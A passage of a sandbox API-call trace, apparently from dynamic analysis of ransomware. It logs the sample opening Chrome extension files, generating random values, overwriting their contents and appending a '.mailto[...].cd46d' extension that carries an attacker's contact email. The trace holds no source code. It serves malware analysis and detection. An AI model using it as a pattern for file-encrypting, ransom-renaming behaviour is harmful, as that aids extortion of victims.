Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json")) returned 0x2020 [0174.778] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json", dwFileAttributes=0x20) returned 1 [0174.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15bc [0174.779] GetFileSizeEx (in: hFile=0x15bc, lpFileSize=0x471f970 | out: lpFileSize=0x471f970*=352) returned 1 [0174.779] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x15c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.779] ReadFile (in: hFile=0x15bc, lpBuffer=0x471f8f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x471f8f0, lpOverlapped=0x0 | out: lpBuffer=0x471f8f4*, lpNumberOfBytesRead=0x471f8f0*=0x4, lpOverlapped=0x0) returned 1 [0174.779] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.780] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9c60 [0174.780] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98a0 [0174.780] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9918 [0174.780] NtQuerySystemTime (in: CurrentTime=0x471f8d0 | out: CurrentTime=0x471f8d0*=132174899493682000) returned 0x0 [0174.780] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x7391b4b4 [0174.780] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x32814051 [0174.780] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x57ac3d89 [0174.780] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x6658ea43 [0174.780] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x375b607a [0174.780] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x2c6dd989 [0174.780] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x24388d52 [0174.780] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x35489fd1 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x8ca7e1d [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0xf2ee636 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x64c4d4d8 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x6fea4906 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x40e4c30a [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x6666df7c [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x4cc448fd [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x66c877e [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x3f767114 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x6486616c [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x772b21b6 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x3d881e91 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x7ec1d913 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x2077738c [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x5acc1e40 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x78668733 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x6b956aff [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x66ee9e0 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x35b476ec [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x6e8d261d [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x394fa324 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x45b9d9b7 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x3799dfe7 [0174.781] RtlRandomEx (in: Seed=0x471f8dc | out: Seed=0x471f8dc) returned 0x339b591a [0174.793] ReadFile (hFile=0x15bc, lpBuffer=0xd498048, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x471f8cc, lpOverlapped=0x0) [0174.794] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.794] WriteFile (in: hFile=0x15bc, lpBuffer=0xd4f8870*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x471f8c8, lpOverlapped=0x0 | out: lpBuffer=0xd4f8870*, lpNumberOfBytesWritten=0x471f8c8*=0x160, lpOverlapped=0x0) returned 1 [0174.798] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9c60 [0174.798] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9918 [0174.798] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9918) returned 1 [0174.798] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4f8870) returned 1 [0174.798] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd498048) returned 1 [0174.802] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8bc0) returned 1 [0174.802] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2d28) returned 1 [0174.802] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x35) returned 0x8da3d0 [0174.802] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.802] WriteFile (in: hFile=0x15bc, lpBuffer=0x8f7420*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x471f930, lpOverlapped=0x0 | out: lpBuffer=0x8f7420*, lpNumberOfBytesWritten=0x471f930*=0x119, lpOverlapped=0x0) returned 1 [0174.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7420) returned 1 [0174.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da450) returned 1 [0174.845] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9918) returned 1 [0174.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8da3d0) returned 1 [0174.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9c60) returned 1 [0174.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98a0) returned 1 [0174.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9aa8) returned 1 [0174.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9878) returned 1 [0174.846] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x182) returned 0x8f3d70 [0174.846] wcscpy (in: _Dest=0x8f3d70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" [0174.846] wcscat (in: _Dest=0x8f3d70, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.mailto[2Hamlampampom@cock.li].cd46d" [0174.846] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x471f8e8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0174.846] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x198) returned 0x91bba8 Thread: id = 6815 os_tid = 0x1f24 [0174.468] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json")) returned 0x2020 [0176.728] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json", dwFileAttributes=0x20) returned 1 [0176.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcec [0176.728] GetFileSizeEx (in: hFile=0xcec, lpFileSize=0x6a8fad8 | out: lpFileSize=0x6a8fad8*=11094) returned 1 [0176.728] SetFilePointerEx (in: hFile=0xcec, liDistanceToMove=0x2b52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.728] ReadFile (in: hFile=0xcec, lpBuffer=0x6a8fa5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6a8fa58, lpOverlapped=0x0 | out: lpBuffer=0x6a8fa5c*, lpNumberOfBytesRead=0x6a8fa58*=0x4, lpOverlapped=0x0) returned 1 [0176.730] SetFilePointerEx (in: hFile=0xcec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.730] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458e8 [0176.730] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93de38 [0176.730] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93dd48 [0176.730] NtQuerySystemTime (in: CurrentTime=0x6a8fa38 | out: CurrentTime=0x6a8fa38*=132174899513338000) returned 0x0 [0176.730] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x572273ee [0176.730] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x290787e8 [0176.730] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x49f56142 [0176.730] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x3fca7567 [0176.730] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x3a11e465 [0176.730] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x1d2eaf2b [0176.730] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x7aa2a26b [0176.730] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x25aad2d2 [0176.730] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x6fb08c8f [0176.730] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x5955b3fe [0176.730] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x6cceb606 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x6d880603 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x34ee96d0 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x4d7934ce [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x491f2582 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x3d36b035 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x5c340df1 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x3b8737a7 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x46b8ae15 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x5742a05b [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x4a4b12c2 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x65d15b4b [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x1a2a8f6c [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x59f95ff7 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x762b3ffd [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x2de2a397 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x4d49cf4b [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x59773348 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0xb6b7d3d [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x37f957db [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x5bcf5c95 [0176.731] RtlRandomEx (in: Seed=0x6a8fa44 | out: Seed=0x6a8fa44) returned 0x46788bb8 [0176.744] ReadFile (hFile=0xcec, lpBuffer=0x12ce8418, nNumberOfBytesToRead=0x2b56, lpNumberOfBytesRead=0x6a8fa34, lpOverlapped=0x0) [0176.745] SetFilePointerEx (in: hFile=0xcec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.745] WriteFile (in: hFile=0xcec, lpBuffer=0x12da1118*, nNumberOfBytesToWrite=0x2b56, lpNumberOfBytesWritten=0x6a8fa30, lpOverlapped=0x0 | out: lpBuffer=0x12da1118*, lpNumberOfBytesWritten=0x6a8fa30*=0x2b56, lpOverlapped=0x0) returned 1 [0176.747] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458e8 [0176.747] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93dd48 [0176.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dd48) returned 1 [0176.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12da1118) returned 1 [0176.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ce8418) returned 1 [0176.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8cb0) returned 1 [0176.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2788) returned 1 [0176.747] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x39) returned 0x8d2788 [0176.747] SetFilePointerEx (in: hFile=0xcec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.747] WriteFile (in: hFile=0xcec, lpBuffer=0x12d9f820*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x6a8fa98, lpOverlapped=0x0 | out: lpBuffer=0x12d9f820*, lpNumberOfBytesWritten=0x6a8fa98*=0x11d, lpOverlapped=0x0) returned 1 [0176.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d9f820) returned 1 [0176.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2ae8) returned 1 [0176.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dd48) returned 1 [0176.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2788) returned 1 [0176.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458e8) returned 1 [0176.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93de38) returned 1 [0176.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e0b8) returned 1 [0176.749] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e400) returned 1 [0176.749] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x186) returned 0x903bd0 [0176.749] wcscpy (in: _Dest=0x903bd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" [0176.749] wcscat (in: _Dest=0x903bd0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.mailto[2Hamlampampom@cock.li].cd46d" [0176.749] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x6a8fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0176.750] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x19c) returned 0x91bba8 Thread: id = 6816 os_tid = 0xd78 [0174.468] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js")) returned 0x2020 [0176.141] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js", dwFileAttributes=0x20) returned 1 [0178.675] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x67c [0178.675] GetFileSizeEx (in: hFile=0x67c, lpFileSize=0x2fffba0 | out: lpFileSize=0x2fffba0*=573631) returned 1 [0178.675] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x8c0bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.675] ReadFile (in: hFile=0x67c, lpBuffer=0x2fffb24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2fffb20, lpOverlapped=0x0 | out: lpBuffer=0x2fffb24*, lpNumberOfBytesRead=0x2fffb20*=0x4, lpOverlapped=0x0) returned 1 [0178.677] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.677] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945848 [0178.677] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945a78 [0178.677] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945ac8 [0178.677] NtQuerySystemTime (in: CurrentTime=0x2fffb00 | out: CurrentTime=0x2fffb00*=132174899532682000) returned 0x0 [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x25a65876 [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x6c4cf844 [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x2d56405b [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x754cfec [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x548966db [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x4e6fd52d [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x2687f9b3 [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x4e1d861e [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0xf067216 [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x7cbc0228 [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x529ffd06 [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x139b86a9 [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x6f684eb4 [0178.677] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x4b07aa2c [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x3bea4cf2 [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x69c3f4fb [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x6bb13cbe [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x5757496e [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x2b1596e2 [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x6c8792e6 [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x54a9c3a8 [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x50329203 [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x61c366d1 [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x752fa71 [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x2dfd68a6 [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x9046821 [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x19882234 [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x504b4e0c [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x7f0e913c [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x5a4dc772 [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x5c0212b3 [0178.678] RtlRandomEx (in: Seed=0x2fffb0c | out: Seed=0x2fffb0c) returned 0x7a04602a [0178.691] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.691] ReadFile (in: hFile=0x67c, lpBuffer=0xd49a048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2fffab8, lpOverlapped=0x0 | out: lpBuffer=0xd49a048*, lpNumberOfBytesRead=0x2fffab8*=0xc800, lpOverlapped=0x0) returned 1 [0178.692] SetFilePointerEx (in: hFile=0x67c, 